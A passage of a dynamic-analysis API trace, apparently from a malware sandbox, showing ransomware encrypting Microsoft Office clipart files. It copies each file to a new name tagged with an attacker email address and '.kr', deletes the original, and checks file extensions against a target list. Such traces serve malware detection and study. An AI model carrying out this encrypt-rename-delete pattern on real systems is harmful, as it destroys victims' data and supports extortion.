Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0104.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0104.727] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0104.727] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0104.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0104.727] GetLastError () returned 0x0 [0104.727] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x1d9f, lpOverlapped=0x0) returned 1 [0104.729] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x1da0, lpOverlapped=0x0) returned 1 [0104.730] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0104.730] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1 [0104.730] SetEndOfFile (hFile=0x384) returned 1 [0104.730] CloseHandle (hObject=0x384) returned 1 [0104.731] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0104.731] SetEndOfFile (hFile=0x364) returned 1 [0104.732] CloseHandle (hObject=0x364) returned 1 [0104.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0104.732] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 1 [0104.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0104.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0104.733] lstrlenW (lpString=".doc") returned 4 [0104.733] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.733] lstrlenW (lpString=".docx") returned 5 [0104.733] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.733] lstrlenW (lpString=".pdf") returned 4 [0104.733] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.733] lstrlenW (lpString=".xls") returned 4 [0104.733] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.733] lstrlenW (lpString=".xlsx") returned 5 [0104.733] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.733] lstrlenW (lpString=".ppt") returned 4 [0104.733] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0104.733] lstrlenW (lpString=".zip") returned 4 [0104.733] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.733] lstrlenW (lpString=".rar") returned 4 [0104.733] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.733] lstrlenW (lpString=".bz2") returned 4 [0104.733] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.733] lstrlenW (lpString=".7z") returned 3 [0104.733] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0104.733] lstrlenW (lpString=".dbf") returned 4 [0104.734] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0104.734] lstrlenW (lpString=".1cd") returned 4 [0104.734] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0104.734] lstrlenW (lpString=".jpg") returned 4 [0104.734] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0104.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0104.734] lstrlenW (lpString=".doc") returned 4 [0104.734] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.734] lstrlenW (lpString=".docx") returned 5 [0104.734] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.734] lstrlenW (lpString=".pdf") returned 4 [0104.734] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.734] lstrlenW (lpString=".xls") returned 4 [0104.734] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.734] lstrlenW (lpString=".xlsx") returned 5 [0104.734] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.734] lstrlenW (lpString=".ppt") returned 4 [0104.734] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0104.734] lstrlenW (lpString=".zip") returned 4 [0104.734] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.734] lstrlenW (lpString=".rar") returned 4 [0104.734] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.734] lstrlenW (lpString=".bz2") returned 4 [0104.735] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.735] lstrlenW (lpString=".7z") returned 3 [0104.735] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0104.735] lstrlenW (lpString=".dbf") returned 4 [0104.735] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0104.735] lstrlenW (lpString=".1cd") returned 4 [0104.735] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0104.735] lstrlenW (lpString=".jpg") returned 4 [0104.735] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.735] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0104.735] lstrlenW (lpString="AG00163_.GIF") returned 12 [0104.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0104.735] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=6984) returned 1 [0104.735] CloseHandle (hObject=0x364) returned 1 [0104.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 0x220 [0104.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0104.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0104.736] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0104.736] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0104.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0104.736] GetLastError () returned 0x0 [0104.736] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x1b48, lpOverlapped=0x0) returned 1 [0105.220] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x1b50, lpOverlapped=0x0) returned 1 [0105.221] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0105.224] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1 [0105.224] SetEndOfFile (hFile=0x384) returned 1 [0105.698] CloseHandle (hObject=0x384) returned 1 [0105.699] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0105.699] SetEndOfFile (hFile=0x364) returned 1 [0105.700] CloseHandle (hObject=0x364) returned 1 [0105.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0105.700] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 1 [0105.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0105.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0105.701] lstrlenW (lpString=".doc") returned 4 [0105.701] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0105.701] lstrlenW (lpString=".docx") returned 5 [0105.701] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0105.701] lstrlenW (lpString=".pdf") returned 4 [0105.701] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0105.701] lstrlenW (lpString=".xls") returned 4 [0105.701] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0105.701] lstrlenW (lpString=".xlsx") returned 5 [0105.701] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0105.701] lstrlenW (lpString=".ppt") returned 4 [0105.701] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0105.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0105.701] lstrlenW (lpString=".zip") returned 4 [0105.701] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0105.701] lstrlenW (lpString=".rar") returned 4 [0105.701] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0105.701] lstrlenW (lpString=".bz2") returned 4 [0105.701] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0105.701] lstrlenW (lpString=".7z") returned 3 [0105.701] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0105.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0105.701] lstrlenW (lpString=".dbf") returned 4 [0105.701] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0105.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0105.701] lstrlenW (lpString=".1cd") returned 4 [0105.701] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0105.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0105.701] lstrlenW (lpString=".jpg") returned 4 [0105.702] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0105.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0105.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0105.702] lstrlenW (lpString=".doc") returned 4 [0105.702] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0105.702] lstrlenW (lpString=".docx") returned 5 [0105.702] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0105.702] lstrlenW (lpString=".pdf") returned 4 [0105.702] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0105.702] lstrlenW (lpString=".xls") returned 4 [0105.702] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0105.702] lstrlenW (lpString=".xlsx") returned 5 [0105.702] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0105.702] lstrlenW (lpString=".ppt") returned 4 [0105.702] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0105.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0105.702] lstrlenW (lpString=".zip") returned 4 [0105.702] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0105.702] lstrlenW (lpString=".rar") returned 4 [0105.702] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0105.702] lstrlenW (lpString=".bz2") returned 4 [0105.702] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0105.702] lstrlenW (lpString=".7z") returned 3 [0105.702] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0105.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0105.702] lstrlenW (lpString=".dbf") returned 4 [0105.702] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0105.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0105.703] lstrlenW (lpString=".1cd") returned 4 [0105.703] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0105.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0105.703] lstrlenW (lpString=".jpg") returned 4 [0105.703] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0105.703] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0105.703] lstrlenW (lpString="AN00914_.WMF") returned 12 [0105.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0105.703] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=10832) returned 1 [0105.703] CloseHandle (hObject=0x364) returned 1 [0105.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 0x220 [0105.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0105.704] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0105.704] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0105.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0105.704] GetLastError () returned 0x0 [0105.704] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x2a50, lpOverlapped=0x0) returned 1 [0105.705] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x2a60, lpOverlapped=0x0) returned 1 [0105.706] ReadFile (in: hFile=0x364, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0105.706] WriteFile (in: hFile=0x384, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1 [0105.706] SetEndOfFile (hFile=0x384) returned 1 [0105.707] CloseHandle (hObject=0x384) returned 1 [0105.707] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0105.707] SetEndOfFile (hFile=0x364) returned 1 [0105.708] CloseHandle (hObject=0x364) returned 1 [0105.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0105.709] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 1 [0105.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0105.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0105.709] lstrlenW (lpString=".doc") returned 4 [0105.709] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.709] lstrlenW (lpString=".docx") returned 5 [0105.709] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0105.709] lstrlenW (lpString=".pdf") returned 4 [0105.709] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.709] lstrlenW (lpString=".xls") returned 4 [0105.709] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.709] lstrlenW (lpString=".xlsx") returned 5 [0105.709] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0105.709] lstrlenW (lpString=".ppt") returned 4 [0105.709] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0105.709] lstrlenW (lpString=".zip") returned 4 [0105.710] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.710] lstrlenW (lpString=".rar") returned 4 [0105.710] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.710] lstrlenW (lpString=".bz2") returned 4 [0105.710] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.710] lstrlenW (lpString=".7z") returned 3 [0105.710] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0105.710] lstrlenW (lpString=".dbf") returned 4 [0105.710] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0105.710] lstrlenW (lpString=".1cd") returned 4 [0105.710] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0105.710] lstrlenW (lpString=".jpg") returned 4 [0105.710] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0105.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0105.710] lstrlenW (lpString=".doc") returned 4 [0105.710] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0105.710] lstrlenW (lpString=".docx") returned 5 [0105.710] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0105.710] lstrlenW (lpString=".pdf") returned 4 [0105.710] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0105.710] lstrlenW (lpString=".xls") returned 4 [0105.710] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0105.710] lstrlenW (lpString=".xlsx") returned 5 [0105.710] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0105.710] lstrlenW (lpString=".ppt") returned 4 [0105.710] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0105.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0105.711] lstrlenW (lpString=".zip") returned 4 [0105.711] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0105.711] lstrlenW (lpString=".rar") returned 4 [0105.711] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0105.711] lstrlenW (lpString=".bz2") returned 4 [0105.711] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0105.711] lstrlenW (lpString=".7z") returned 3 [0105.711] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0105.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0105.711] lstrlenW (lpString=".dbf") returned 4 [0105.711] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0105.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0105.711] lstrlenW (lpString=".1cd") returned 4 [0105.711] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0105.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 68 [0105.711] lstrlenW (lpString=".jpg") returned 4 [0105.711] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0105.711] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0105.711] lstrlenW (lpString="AN00932_.WMF") returned 12 [0105.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0105.711] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=14428) returned 1 [0105.712] CloseHandle (hObject=0x364) returned 1 [0105.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 0x220 [0105.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0105.712] 